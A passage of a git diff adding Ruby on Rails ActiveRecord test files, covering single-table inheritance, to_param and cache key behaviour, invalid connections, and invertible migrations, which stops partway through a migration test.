+    with_store_full_sti_class do
+      assert_equal "Namespaced::Company", Namespaced::Company.sti_name
+    end
+  end
+
+  def test_class_with_blank_sti_name
+    company = Company.first
+    company = company.dup
+    company.extend(Module.new {
+      def _read_attribute(name)
+        return "  " if name == "type"
+        super
+      end
+    })
+    company.save!
+    company = Company.all.to_a.find { |x| x.id == company.id }
+    assert_equal "  ", company.type
+  end
+
+  def test_class_without_store_full_sti_class_returns_demodulized_name
+    without_store_full_sti_class do
+      assert_equal "Company", Namespaced::Company.sti_name
+    end
+  end
+
+  def test_compute_type_success
+    assert_equal Author, Company.send(:compute_type, "Author")
+  end
+
+  def test_compute_type_nonexistent_constant
+    e = assert_raises NameError do
+      Company.send :compute_type, "NonexistentModel"
+    end
+    assert_equal "uninitialized constant Company::NonexistentModel", e.message
+    assert_equal "Company::NonexistentModel", e.name
+  end
+
+  def test_compute_type_no_method_error
+    ActiveSupport::Dependencies.stub(:safe_constantize, proc { raise NoMethodError }) do
+      assert_raises NoMethodError do
+        Company.send :compute_type, "InvalidModel"
+      end
+    end
+  end
+
+  def test_compute_type_on_undefined_method
+    error = nil
+    begin
+      Class.new(Author) do
+        alias_method :foo, :bar
+      end
+    rescue => e
+      error = e
+    end
+
+    ActiveSupport::Dependencies.stub(:safe_constantize, proc { raise e }) do
+
+      exception = assert_raises NameError do
+        Company.send :compute_type, "InvalidModel"
+      end
+      assert_equal error.message, exception.message
+    end
+  end
+
+  def test_compute_type_argument_error
+    ActiveSupport::Dependencies.stub(:safe_constantize, proc { raise ArgumentError }) do
+      assert_raises ArgumentError do
+        Company.send :compute_type, "InvalidModel"
+      end
+    end
+  end
+
+  def test_should_store_demodulized_class_name_with_store_full_sti_class_option_disabled
+    without_store_full_sti_class do
+      item = Namespaced::Company.new
+      assert_equal "Company", item[:type]
+    end
+  end
+
+  def test_should_store_full_class_name_with_store_full_sti_class_option_enabled
+    with_store_full_sti_class do
+      item = Namespaced::Company.new
+      assert_equal "Namespaced::Company", item[:type]
+    end
+  end
+
+  def test_different_namespace_subclass_should_load_correctly_with_store_full_sti_class_option
+    with_store_full_sti_class do
+      item = Namespaced::Company.create name: "Wolverine 2"
+      assert_not_nil Company.find(item.id)
+      assert_not_nil Namespaced::Company.find(item.id)
+    end
+  end
+
+  def test_descends_from_active_record
+    assert !ActiveRecord::Base.descends_from_active_record?
+
+    # Abstract subclass of AR::Base.
+    assert LoosePerson.descends_from_active_record?
+
+    # Concrete subclass of an abstract class.
+    assert LooseDescendant.descends_from_active_record?
+
+    # Concrete subclass of AR::Base.
+    assert TightPerson.descends_from_active_record?
+
+    # Concrete subclass of a concrete class but has no type column.
+    assert TightDescendant.descends_from_active_record?
+
+    # Concrete subclass of AR::Base.
+    assert Post.descends_from_active_record?
+
+    # Abstract subclass of a concrete class which has a type column.
+    # This is pathological, as you'll never have Sub < Abstract < Concrete.
+    assert !StiPost.descends_from_active_record?
+
+    # Concrete subclasses an abstract class which has a type column.
+    assert !SubStiPost.descends_from_active_record?
+  end
+
+  def test_company_descends_from_active_record
+    assert !ActiveRecord::Base.descends_from_active_record?
+    assert AbstractCompany.descends_from_active_record?, "AbstractCompany should descend from ActiveRecord::Base"
+    assert Company.descends_from_active_record?, "Company should descend from ActiveRecord::Base"
+    assert !Class.new(Company).descends_from_active_record?, "Company subclass should not descend from ActiveRecord::Base"
+  end
+
+  def test_abstract_class
+    assert !ActiveRecord::Base.abstract_class?
+    assert LoosePerson.abstract_class?
+    assert !LooseDescendant.abstract_class?
+  end
+
+  def test_inheritance_base_class
+    assert_equal Post, Post.base_class
+    assert_equal Post, SpecialPost.base_class
+    assert_equal Post, StiPost.base_class
+    assert_equal SubStiPost, SubStiPost.base_class
+  end
+
+  def test_abstract_inheritance_base_class
+    assert_equal LoosePerson, LoosePerson.base_class
+    assert_equal LooseDescendant, LooseDescendant.base_class
+    assert_equal TightPerson, TightPerson.base_class
+    assert_equal TightPerson, TightDescendant.base_class
+  end
+
+  def test_base_class_activerecord_error
+    klass = Class.new { include ActiveRecord::Inheritance }
+    assert_raise(ActiveRecord::ActiveRecordError) { klass.base_class }
+  end
+
+  def test_a_bad_type_column
+    Company.connection.insert "INSERT INTO companies (id, #{QUOTED_TYPE}, name) VALUES(100, 'bad_class!', 'Not happening')"
+
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.find(100) }
+  end
+
+  def test_inheritance_find
+    assert_kind_of Firm, Company.find(1), "37signals should be a firm"
+    assert_kind_of Firm, Firm.find(1), "37signals should be a firm"
+    assert_kind_of Client, Company.find(2), "Summit should be a client"
+    assert_kind_of Client, Client.find(2), "Summit should be a client"
+  end
+
+  def test_alt_inheritance_find
+    assert_kind_of Cucumber, Vegetable.find(1)
+    assert_kind_of Cucumber, Cucumber.find(1)
+    assert_kind_of Cabbage, Vegetable.find(2)
+    assert_kind_of Cabbage, Cabbage.find(2)
+  end
+
+  def test_alt_becomes_works_with_sti
+    vegetable = Vegetable.find(1)
+    assert_kind_of Vegetable, vegetable
+    cabbage = vegetable.becomes(Cabbage)
+    assert_kind_of Cabbage, cabbage
+  end
+
+  def test_becomes_and_change_tracking_for_inheritance_columns
+    cucumber = Vegetable.find(1)
+    cabbage = cucumber.becomes!(Cabbage)
+    assert_equal ["Cucumber", "Cabbage"], cabbage.custom_type_change
+  end
+
+  def test_alt_becomes_bang_resets_inheritance_type_column
+    vegetable = Vegetable.create!(name: "Red Pepper")
+    assert_nil vegetable.custom_type
+
+    cabbage = vegetable.becomes!(Cabbage)
+    assert_equal "Cabbage", cabbage.custom_type
+
+    vegetable = cabbage.becomes!(Vegetable)
+    assert_nil cabbage.custom_type
+  end
+
+  def test_inheritance_find_all
+    companies = Company.all.merge!(order: "id").to_a
+    assert_kind_of Firm, companies[0], "37signals should be a firm"
+    assert_kind_of Client, companies[1], "Summit should be a client"
+  end
+
+  def test_alt_inheritance_find_all
+    companies = Vegetable.all.merge!(order: "id").to_a
+    assert_kind_of Cucumber, companies[0]
+    assert_kind_of Cabbage, companies[1]
+  end
+
+  def test_inheritance_save
+    firm = Firm.new
+    firm.name = "Next Angle"
+    firm.save
+
+    next_angle = Company.find(firm.id)
+    assert_kind_of Firm, next_angle, "Next Angle should be a firm"
+  end
+
+  def test_alt_inheritance_save
+    cabbage = Cabbage.new(name: "Savoy")
+    cabbage.save!
+
+    savoy = Vegetable.find(cabbage.id)
+    assert_kind_of Cabbage, savoy
+  end
+
+  def test_inheritance_new_with_default_class
+    company = Company.new
+    assert_equal Company, company.class
+  end
+
+  def test_inheritance_new_with_base_class
+    company = Company.new(type: "Company")
+    assert_equal Company, company.class
+  end
+
+  def test_inheritance_new_with_subclass
+    firm = Company.new(type: "Firm")
+    assert_equal Firm, firm.class
+  end
+
+  def test_new_with_abstract_class
+    e = assert_raises(NotImplementedError) do
+      AbstractCompany.new
+    end
+    assert_equal("AbstractCompany is an abstract class and cannot be instantiated.", e.message)
+  end
+
+  def test_new_with_ar_base
+    e = assert_raises(NotImplementedError) do
+      ActiveRecord::Base.new
+    end
+    assert_equal("ActiveRecord::Base is an abstract class and cannot be instantiated.", e.message)
+  end
+
+  def test_new_with_invalid_type
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.new(type: "InvalidType") }
+  end
+
+  def test_new_with_unrelated_type
+    assert_raise(ActiveRecord::SubclassNotFound) { Company.new(type: "Account") }
+  end
+
+  def test_new_with_unrelated_namespaced_type
+    without_store_full_sti_class do
+      e = assert_raises ActiveRecord::SubclassNotFound do
+        Namespaced::Company.new(type: "Firm")
+      end
+
+      assert_equal "Invalid single-table inheritance type: Namespaced::Firm is not a subclass of Namespaced::Company", e.message
+    end
+  end
+
+  def test_new_with_complex_inheritance
+    assert_nothing_raised { Client.new(type: "VerySpecialClient") }
+  end
+
+  def test_new_without_storing_full_sti_class
+    without_store_full_sti_class do
+      item = Company.new(type: "SpecialCo")
+      assert_instance_of Company::SpecialCo, item
+    end
+  end
+
+  def test_new_with_autoload_paths
+    path = File.expand_path("../models/autoloadable", __dir__)
+    ActiveSupport::Dependencies.autoload_paths << path
+
+    firm = Company.new(type: "ExtraFirm")
+    assert_equal ExtraFirm, firm.class
+  ensure
+    ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
+    ActiveSupport::Dependencies.clear
+  end
+
+  def test_inheritance_condition
+    assert_equal 11, Company.count
+    assert_equal 2, Firm.count
+    assert_equal 5, Client.count
+  end
+
+  def test_alt_inheritance_condition
+    assert_equal 4, Vegetable.count
+    assert_equal 1, Cucumber.count
+    assert_equal 3, Cabbage.count
+  end
+
+  def test_finding_incorrect_type_data
+    assert_raise(ActiveRecord::RecordNotFound) { Firm.find(2) }
+    assert_nothing_raised   { Firm.find(1) }
+  end
+
+  def test_alt_finding_incorrect_type_data
+    assert_raise(ActiveRecord::RecordNotFound) { Cucumber.find(2) }
+    assert_nothing_raised   { Cucumber.find(1) }
+  end
+
+  def test_update_all_within_inheritance
+    Client.update_all "name = 'I am a client'"
+    assert_equal "I am a client", Client.first.name
+    # Order by added as otherwise Oracle tests were failing because of different order of results
+    assert_equal "37signals", Firm.all.merge!(order: "id").to_a.first.name
+  end
+
+  def test_alt_update_all_within_inheritance
+    Cabbage.update_all "name = 'the cabbage'"
+    assert_equal "the cabbage", Cabbage.first.name
+    assert_equal ["my cucumber"], Cucumber.all.map(&:name).uniq
+  end
+
+  def test_destroy_all_within_inheritance
+    Client.destroy_all
+    assert_equal 0, Client.count
+    assert_equal 2, Firm.count
+  end
+
+  def test_alt_destroy_all_within_inheritance
+    Cabbage.destroy_all
+    assert_equal 0, Cabbage.count
+    assert_equal 1, Cucumber.count
+  end
+
+  def test_find_first_within_inheritance
+    assert_kind_of Firm, Company.all.merge!(where: "name = '37signals'").first
+    assert_kind_of Firm, Firm.all.merge!(where: "name = '37signals'").first
+    assert_nil Client.all.merge!(where: "name = '37signals'").first
+  end
+
+  def test_alt_find_first_within_inheritance
+    assert_kind_of Cabbage, Vegetable.all.merge!(where: "name = 'his cabbage'").first
+    assert_kind_of Cabbage, Cabbage.all.merge!(where: "name = 'his cabbage'").first
+    assert_nil Cucumber.all.merge!(where: "name = 'his cabbage'").first
+  end
+
+  def test_complex_inheritance
+    very_special_client = VerySpecialClient.create("name" => "veryspecial")
+    assert_equal very_special_client, VerySpecialClient.where("name = 'veryspecial'").first
+    assert_equal very_special_client, SpecialClient.all.merge!(where: "name = 'veryspecial'").first
+    assert_equal very_special_client, Company.all.merge!(where: "name = 'veryspecial'").first
+    assert_equal very_special_client, Client.all.merge!(where: "name = 'veryspecial'").first
+    assert_equal 1, Client.all.merge!(where: "name = 'Summit'").to_a.size
+    assert_equal very_special_client, Client.find(very_special_client.id)
+  end
+
+  def test_alt_complex_inheritance
+    king_cole = KingCole.create("name" => "uniform heads")
+    assert_equal king_cole, KingCole.where("name = 'uniform heads'").first
+    assert_equal king_cole, GreenCabbage.all.merge!(where: "name = 'uniform heads'").first
+    assert_equal king_cole, Cabbage.all.merge!(where: "name = 'uniform heads'").first
+    assert_equal king_cole, Vegetable.all.merge!(where: "name = 'uniform heads'").first
+    assert_equal 1, Cabbage.all.merge!(where: "name = 'his cabbage'").to_a.size
+    assert_equal king_cole, Cabbage.find(king_cole.id)
+  end
+
+  def test_eager_load_belongs_to_something_inherited
+    account = Account.all.merge!(includes: :firm).find(1)
+    assert account.association(:firm).loaded?, "association was not eager loaded"
+  end
+
+  def test_alt_eager_loading
+    cabbage = RedCabbage.all.merge!(includes: :seller).find(4)
+    assert cabbage.association(:seller).loaded?, "association was not eager loaded"
+  end
+
+  def test_eager_load_belongs_to_primary_key_quoting
+    con = Account.connection
+    bind_param = Arel::Nodes::BindParam.new(nil)
+    assert_sql(/#{con.quote_table_name('companies')}\.#{con.quote_column_name('id')} = (?:#{Regexp.quote(bind_param.to_sql)}|1)/) do
+      Account.all.merge!(includes: :firm).find(1)
+    end
+  end
+
+  def test_inherits_custom_primary_key
+    assert_equal Subscriber.primary_key, SpecialSubscriber.primary_key
+  end
+
+  def test_inheritance_without_mapping
+    assert_kind_of SpecialSubscriber, SpecialSubscriber.find("webster132")
+    assert_nothing_raised { s = SpecialSubscriber.new("name" => "And breaaaaathe!"); s.id = "roger"; s.save }
+  end
+
+  def test_scope_inherited_properly
+    assert_nothing_raised { Company.of_first_firm }
+    assert_nothing_raised { Client.of_first_firm }
+  end
+
+  def test_inheritance_with_default_scope
+    assert_equal 1, SelectedMembership.count(:all)
+  end
+end
+
+class InheritanceComputeTypeTest < ActiveRecord::TestCase
+  include InheritanceTestHelper
+  fixtures :companies
+
+  teardown do
+    self.class.const_remove :FirmOnTheFly rescue nil
+    Firm.const_remove :FirmOnTheFly rescue nil
+  end
+
+  def test_instantiation_doesnt_try_to_require_corresponding_file
+    without_store_full_sti_class do
+      foo = Firm.first.clone
+      foo.type = "FirmOnTheFly"
+      foo.save!
+
+      # Should fail without FirmOnTheFly in the type condition.
+      assert_raise(ActiveRecord::RecordNotFound) { Firm.find(foo.id) }
+
+      # Nest FirmOnTheFly in the test case where Dependencies won't see it.
+      self.class.const_set :FirmOnTheFly, Class.new(Firm)
+      assert_raise(ActiveRecord::SubclassNotFound) { Firm.find(foo.id) }
+
+      # Nest FirmOnTheFly in Firm where Dependencies will see it.
+      # This is analogous to nesting models in a migration.
+      Firm.const_set :FirmOnTheFly, Class.new(Firm)
+
+      # And instantiate will find the existing constant rather than trying
+      # to require firm_on_the_fly.
+      assert_nothing_raised { assert_kind_of Firm::FirmOnTheFly, Firm.find(foo.id) }
+    end
+  end
+
+  def test_sti_type_from_attributes_disabled_in_non_sti_class
+    phone = Shop::Product::Type.new(name: "Phone")
+    product = Shop::Product.new(type: phone)
+    assert product.save
+  end
+
+  def test_inheritance_new_with_subclass_as_default
+    original_type = Company.columns_hash["type"].default
+    ActiveRecord::Base.connection.change_column_default :companies, :type, "Firm"
+    Company.reset_column_information
+
+    firm = Company.new # without arguments
+    assert_equal "Firm", firm.type
+    assert_instance_of Firm, firm
+
+    firm = Company.new(firm_name: "Shri Hans Plastic") # with arguments
+    assert_equal "Firm", firm.type
+    assert_instance_of Firm, firm
+
+    client = Client.new
+    assert_equal "Client", client.type
+    assert_instance_of Client, client
+
+    firm = Company.new(type: "Client") # overwrite the default type
+    assert_equal "Client", firm.type
+    assert_instance_of Client, firm
+  ensure
+    ActiveRecord::Base.connection.change_column_default :companies, :type, original_type
+    Company.reset_column_information
+  end
+end
+
+class InheritanceAttributeTest < ActiveRecord::TestCase
+  class Company < ActiveRecord::Base
+    self.table_name = "companies"
+    attribute :type, :string, default: "InheritanceAttributeTest::Startup"
+  end
+
+  class Startup < Company
+  end
+
+  class Empire < Company
+  end
+
+  def test_inheritance_new_with_subclass_as_default
+    startup = Company.new # without arguments
+    assert_equal "InheritanceAttributeTest::Startup", startup.type
+    assert_instance_of Startup, startup
+
+    empire = Company.new(type: "InheritanceAttributeTest::Empire") # without arguments
+    assert_equal "InheritanceAttributeTest::Empire", empire.type
+    assert_instance_of Empire, empire
+  end
+end
+
+class InheritanceAttributeMappingTest < ActiveRecord::TestCase
+  setup do
+    @old_registry = ActiveRecord::Type.registry
+    ActiveRecord::Type.registry = ActiveRecord::Type::AdapterSpecificRegistry.new
+    ActiveRecord::Type.register :omg_sti, InheritanceAttributeMappingTest::OmgStiType
+    Company.delete_all
+    Sponsor.delete_all
+  end
+
+  teardown do
+    ActiveRecord::Type.registry = @old_registry
+  end
+
+  class OmgStiType < ActiveRecord::Type::String
+    def cast_value(value)
+      if value =~ /\Aomg_(.+)\z/
+        $1.classify
+      else
+        value
+      end
+    end
+
+    def serialize(value)
+      if value
+        "omg_%s" % value.underscore
+      end
+    end
+  end
+
+  class Company < ActiveRecord::Base
+    self.table_name = "companies"
+    attribute :type, :omg_sti
+  end
+
+  class Startup < Company; end
+  class Empire < Company; end
+
+  class Sponsor < ActiveRecord::Base
+    self.table_name = "sponsors"
+    attribute :sponsorable_type, :omg_sti
+
+    belongs_to :sponsorable, polymorphic: true
+  end
+
+  def test_sti_with_custom_type
+    Startup.create! name: "a Startup"
+    Empire.create! name: "an Empire"
+
+    assert_equal [["a Startup", "omg_inheritance_attribute_mapping_test/startup"],
+                  ["an Empire", "omg_inheritance_attribute_mapping_test/empire"]], ActiveRecord::Base.connection.select_rows("SELECT name, type FROM companies").sort
+    assert_equal [["a Startup", "InheritanceAttributeMappingTest::Startup"],
+                  ["an Empire", "InheritanceAttributeMappingTest::Empire"]], Company.all.map { |a| [a.name, a.type] }.sort
+
+    startup = Startup.first
+    startup.becomes! Empire
+    startup.save!
+
+    assert_equal [["a Startup", "omg_inheritance_attribute_mapping_test/empire"],
+                  ["an Empire", "omg_inheritance_attribute_mapping_test/empire"]], ActiveRecord::Base.connection.select_rows("SELECT name, type FROM companies").sort
+
+    assert_equal [["a Startup", "InheritanceAttributeMappingTest::Empire"],
+                  ["an Empire", "InheritanceAttributeMappingTest::Empire"]], Company.all.map { |a| [a.name, a.type] }.sort
+  end
+
+  def test_polymorphic_associations_custom_type
+    startup = Startup.create! name: "a Startup"
+    sponsor = Sponsor.create! sponsorable: startup
+
+    assert_equal ["omg_inheritance_attribute_mapping_test/company"], ActiveRecord::Base.connection.select_values("SELECT sponsorable_type FROM sponsors")
+
+    sponsor = Sponsor.first
+    assert_equal startup, sponsor.sponsorable
+  end
+end
diff --git a/activerecord/test/cases/integration_test.rb b/activerecord/test/cases/integration_test.rb
new file mode 100644
index 0000000000..36cd63c4d4
--- /dev/null
+++ b/activerecord/test/cases/integration_test.rb
@@ -0,0 +1,234 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/company"
+require "models/developer"
+require "models/computer"
+require "models/owner"
+require "models/pet"
+
+class IntegrationTest < ActiveRecord::TestCase
+  fixtures :companies, :developers, :owners, :pets
+
+  def test_to_param_should_return_string
+    assert_kind_of String, Client.first.to_param
+  end
+
+  def test_to_param_returns_nil_if_not_persisted
+    client = Client.new
+    assert_nil client.to_param
+  end
+
+  def test_to_param_returns_id_if_not_persisted_but_id_is_set
+    client = Client.new
+    client.id = 1
+    assert_equal "1", client.to_param
+  end
+
+  def test_to_param_class_method
+    firm = Firm.find(4)
+    assert_equal "4-flamboyant-software", firm.to_param
+  end
+
+  def test_to_param_class_method_truncates_words_properly
+    firm = Firm.find(4)
+    firm.name << ", Inc."
+    assert_equal "4-flamboyant-software", firm.to_param
+  end
+
+  def test_to_param_class_method_truncates_after_parameterize
+    firm = Firm.find(4)
+    firm.name = "Huey, Dewey, & Louie LLC"
+    #               123456789T123456789v
+    assert_equal "4-huey-dewey-louie-llc", firm.to_param
+  end
+
+  def test_to_param_class_method_truncates_after_parameterize_with_hyphens
+    firm = Firm.find(4)
+    firm.name = "Door-to-Door Wash-n-Fold Service"
+    #               123456789T123456789v
+    assert_equal "4-door-to-door-wash-n", firm.to_param
+  end
+
+  def test_to_param_class_method_truncates
+    firm = Firm.find(4)
+    firm.name = "a " * 100
+    assert_equal "4-a-a-a-a-a-a-a-a-a-a", firm.to_param
+  end
+
+  def test_to_param_class_method_truncates_edge_case
+    firm = Firm.find(4)
+    firm.name = "David HeinemeierHansson"
+    assert_equal "4-david", firm.to_param
+  end
+
+  def test_to_param_class_method_truncates_case_shown_in_doc
+    firm = Firm.find(4)
+    firm.name = "David Heinemeier Hansson"
+    assert_equal "4-david-heinemeier", firm.to_param
+  end
+
+  def test_to_param_class_method_squishes
+    firm = Firm.find(4)
+    firm.name = "ab \n" * 100
+    assert_equal "4-ab-ab-ab-ab-ab-ab-ab", firm.to_param
+  end
+
+  def test_to_param_class_method_multibyte_character
+    firm = Firm.find(4)
+    firm.name = "戦場ヶ原 ひたぎ"
+    assert_equal "4", firm.to_param
+  end
+
+  def test_to_param_class_method_uses_default_if_blank
+    firm = Firm.find(4)
+    firm.name = nil
+    assert_equal "4", firm.to_param
+    firm.name = " "
+    assert_equal "4", firm.to_param
+  end
+
+  def test_to_param_class_method_uses_default_if_not_persisted
+    firm = Firm.new(name: "Fancy Shirts")
+    assert_nil firm.to_param
+  end
+
+  def test_to_param_with_no_arguments
+    assert_equal "Firm", Firm.to_param
+  end
+
+  def test_cache_key_for_existing_record_is_not_timezone_dependent
+    utc_key = Developer.first.cache_key
+
+    with_timezone_config zone: "EST" do
+      est_key = Developer.first.cache_key
+      assert_equal utc_key, est_key
+    end
+  end
+
+  def test_cache_key_format_for_existing_record_with_updated_at
+    dev = Developer.first
+    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:usec)}", dev.cache_key
+  end
+
+  def test_cache_key_format_for_existing_record_with_updated_at_and_custom_cache_timestamp_format
+    dev = CachedDeveloper.first
+    assert_equal "cached_developers/#{dev.id}-#{dev.updated_at.utc.to_s(:number)}", dev.cache_key
+  end
+
+  def test_cache_key_changes_when_child_touched
+    owner = owners(:blackbeard)
+    pet   = pets(:parrot)
+
+    owner.update_column :updated_at, Time.current
+    key = owner.cache_key
+
+    travel(1.second) do
+      assert pet.touch
+    end
+    assert_not_equal key, owner.reload.cache_key
+  end
+
+  def test_cache_key_format_for_existing_record_with_nil_updated_timestamps
+    dev = Developer.first
+    dev.update_columns(updated_at: nil, updated_on: nil)
+    assert_match(/\/#{dev.id}$/, dev.cache_key)
+  end
+
+  def test_cache_key_for_updated_on
+    dev = Developer.first
+    dev.updated_at = nil
+    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:usec)}", dev.cache_key
+  end
+
+  def test_cache_key_for_newer_updated_at
+    dev = Developer.first
+    dev.updated_at += 3600
+    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:usec)}", dev.cache_key
+  end
+
+  def test_cache_key_for_newer_updated_on
+    dev = Developer.first
+    dev.updated_on += 3600
+    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:usec)}", dev.cache_key
+  end
+
+  def test_cache_key_format_is_precise_enough
+    skip("Subsecond precision is not supported") unless subsecond_precision_supported?
+    dev = Developer.first
+    key = dev.cache_key
+    dev.touch
+    assert_not_equal key, dev.cache_key
+  end
+
+  def test_cache_key_format_is_not_too_precise
+    skip("Subsecond precision is not supported") unless subsecond_precision_supported?
+    dev = Developer.first
+    dev.touch
+    key = dev.cache_key
+    assert_equal key, dev.reload.cache_key
+  end
+
+  def test_named_timestamps_for_cache_key
+    assert_deprecated do
+      owner = owners(:blackbeard)
+      assert_equal "owners/#{owner.id}-#{owner.happy_at.utc.to_s(:usec)}", owner.cache_key(:updated_at, :happy_at)
+    end
+  end
+
+  def test_cache_key_when_named_timestamp_is_nil
+    assert_deprecated do
+      owner = owners(:blackbeard)
+      owner.happy_at = nil
+      assert_equal "owners/#{owner.id}", owner.cache_key(:happy_at)
+    end
+  end
+
+  def test_cache_key_is_stable_with_versioning_on
+    Developer.cache_versioning = true
+
+    developer = Developer.first
+    first_key = developer.cache_key
+
+    developer.touch
+    second_key = developer.cache_key
+
+    assert_equal first_key, second_key
+  ensure
+    Developer.cache_versioning = false
+  end
+
+  def test_cache_version_changes_with_versioning_on
+    Developer.cache_versioning = true
+
+    developer     = Developer.first
+    first_version = developer.cache_version
+
+    travel 10.seconds do
+      developer.touch
+    end
+
+    second_version = developer.cache_version
+
+    assert_not_equal first_version, second_version
+  ensure
+    Developer.cache_versioning = false
+  end
+
+  def test_cache_key_retains_version_when_custom_timestamp_is_used
+    Developer.cache_versioning = true
+
+    developer = Developer.first
+    first_key = developer.cache_key_with_version
+
+    travel 10.seconds do
+      developer.touch
+    end
+
+    second_key = developer.cache_key_with_version
+
+    assert_not_equal first_key, second_key
+  ensure
+    Developer.cache_versioning = false
+  end
+end
diff --git a/activerecord/test/cases/invalid_connection_test.rb b/activerecord/test/cases/invalid_connection_test.rb
new file mode 100644
index 0000000000..a1be9c2780
--- /dev/null
+++ b/activerecord/test/cases/invalid_connection_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+if current_adapter?(:Mysql2Adapter)
+  class TestAdapterWithInvalidConnection < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    class Bird < ActiveRecord::Base
+    end
+
+    def setup
+      # Can't just use current adapter; sqlite3 will create a database
+      # file on the fly.
+      Bird.establish_connection adapter: "mysql2", database: "i_do_not_exist"
+    end
+
+    teardown do
+      Bird.remove_connection
+    end
+
+    test "inspect on Model class does not raise" do
+      assert_equal "#{Bird.name} (call '#{Bird.name}.connection' to establish a connection)", Bird.inspect
+    end
+  end
+end
diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb
new file mode 100644
index 0000000000..20e747142b
--- /dev/null
+++ b/activerecord/test/cases/invertible_migration_test.rb
@@ -0,0 +1,380 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class Horse < ActiveRecord::Base
+end
+
+module ActiveRecord
+  class InvertibleMigrationTest < ActiveRecord::TestCase
+    class SilentMigration < ActiveRecord::Migration::Current
+      def write(text = "")
+        # sssshhhhh!!
+      end
+    end
+
+    class InvertibleMigration < SilentMigration
+      def change
+        create_table("horses") do |t|
+          t.column :content, :text
+          t.column :remind_at, :datetime
+        end
+      end
+    end
+
+    class InvertibleRevertMigration < SilentMigration
+      def change
+        revert do
+          create_table("horses") do |t|
+            t.column :content, :text
+            t.column :remind_at, :datetime
+          end
+        end
+      end
+    end
+
+    class InvertibleByPartsMigration < SilentMigration
+      attr_writer :test
+      def change
+        create_table("new_horses") do |t|
+          t.column :breed, :string
+        end
+        reversible do |dir|
+          @test.yield :both
+          dir.up    { @test.yield :up }
+          dir.down  { @test.yield :down }
+        end
+        revert do
+          create_table("horses") do |t|
+            t.column :content, :text
+            t.column :remind_at, :datetime
+          end
+        end
+      end
+    end
+
+    class NonInvertibleMigration < SilentMigration
+      def change
+        create_table("horses") do |t|
+          t.column :content, :text
+          t.column :remind_at, :datetime
+        end
+        remove_column "horses", :content
+      end
+    end
+
+    class RemoveIndexMigration1 < SilentMigration
+      def self.up
+        create_table("horses") do |t|
+          t.column :name, :string
+          t.column :color, :string
+          t.index [:name, :color]
+        end
+      end
+    end
+
+    class RemoveIndexMigration2 < SilentMigration
+      def change
+        change_table("horses") do |t|
+          t.remove_index [:name, :color]
+        end
+      end
+    end
+
+    class ChangeColumnDefault1 < SilentMigration
+      def change
+        create_table("horses") do |t|
+          t.column :name, :string, default: "Sekitoba"
+        end
+      end
+    end
+
+    class ChangeColumnDefault2 < SilentMigration
+      def change
+        change_column_default :horses, :name, from: "Sekitoba", to: "Diomed"
+      end
+    end
+
+    class DisableExtension1 < SilentMigration
+      def change
+        enable_extension "hstore"
+      end
+    end
+
+    class DisableExtension2 < SilentMigration
+      def change
+        disable_extension "hstore"
+      end
+    end
+
+    class LegacyMigration < ActiveRecord::Migration::Current
+      def self.up
+        create_table("horses") do |t|
+          t.column :content, :text
+          t.column :remind_at, :datetime
+        end
+      end
+
+      def self.down
+        drop_table("horses")
+      end
+    end
+
+    class RevertWholeMigration < SilentMigration
+      def initialize(name = self.class.name, version = nil, migration)
+        @migration = migration
+        super(name, version)
+      end
+
+      def change
+        revert @migration
+      end
+    end
+
+    class NestedRevertWholeMigration < RevertWholeMigration
+      def change
+        revert { super }
+      end
+    end
+
+    class RevertNamedIndexMigration1 < SilentMigration
+      def change
+        create_table("horses") do |t|
+          t.column :content, :string
+          t.column :remind_at, :datetime
+        end
+        add_index :horses, :content
+      end
+    end
+
+    class RevertNamedIndexMigration2 < SilentMigration
+      def change
+        add_index :horses, :content, name: "horses_index_named"
+      end
+    end
+
+    class RevertCustomForeignKeyTable < SilentMigration
+      def change
+        change_table(:horses) do |t|
+          t.references :owner, foreign_key: { to_table: :developers }
+        end
+      end
+    end
+
+    setup do
+      @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
+    end
+
+    teardown do
+      %w[horses new_horses].each do |table|
+        if ActiveRecord::Base.connection.table_exists?(table)
+          ActiveRecord::Base.connection.drop_table(table)
+        end
+      end
+      ActiveRecord::Migration.verbose = @verbose_was
+    end
+
+    def test_no_reverse
+      migration = NonInvertibleMigration.new
+      migration.migrate(:up)
+      assert_raises(IrreversibleMigration) do
+        migration.migrate(:down)
+      end
+    end
+
+    def test_exception_on_removing_index_without_column_option
+      index_definition = ["horses", [:name, :color]]
+      migration1 = RemoveIndexMigration1.new
+      migration1.migrate(:up)
+      assert migration1.connection.index_exists?(*index_definition)
+
+      migration2 = RemoveIndexMigration2.new
+      migration2.migrate(:up)
+      assert_not migration2.connection.index_exists?(*index_definition)
+
+      migration2.migrate(:down)
+      assert migration2.connection.index_exists?(*index_definition)
+    end
+
+    def test_migrate_up
+      migration = InvertibleMigration.new
+      migration.migrate(:up)
+      assert migration.connection.table_exists?("horses"), "horses should exist"
+    end
+
+    def test_migrate_down
+      migration = InvertibleMigration.new
+      migration.migrate :up
+      migration.migrate :down
+      assert !migration.connection.table_exists?("horses")
+    end
+
+    def test_migrate_revert
+      migration = InvertibleMigration.new
+      revert = InvertibleRevertMigration.new
+      migration.migrate :up
+      revert.migrate :up
+      assert !migration.connection.table_exists?("horses")
+      revert.migrate :down
+      assert migration.connection.table_exists?("horses")
+      migration.migrate :down
+      assert !migration.connection.table_exists?("horses")
+    end
+
+    def test_migrate_revert_by_part
+      InvertibleMigration.new.migrate :up
+      received = []
+      migration = InvertibleByPartsMigration.new
+      migration.test = ->(dir) {
+        assert migration.connection.table_exists?("horses")
+        assert migration.connection.table_exists?("new_horses")
+        received << dir
+      }
+      migration.migrate :up
+      assert_equal [:both, :up], received
+      assert !migration.connection.table_exists?("horses")
+      assert migration.connection.table_exists?("new_horses")
+      migration.migrate :down
+      assert_equal [:both, :up, :both, :down], received
